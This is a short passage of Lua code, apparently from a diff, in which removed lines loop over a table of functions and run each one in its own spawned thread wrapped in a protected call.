- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
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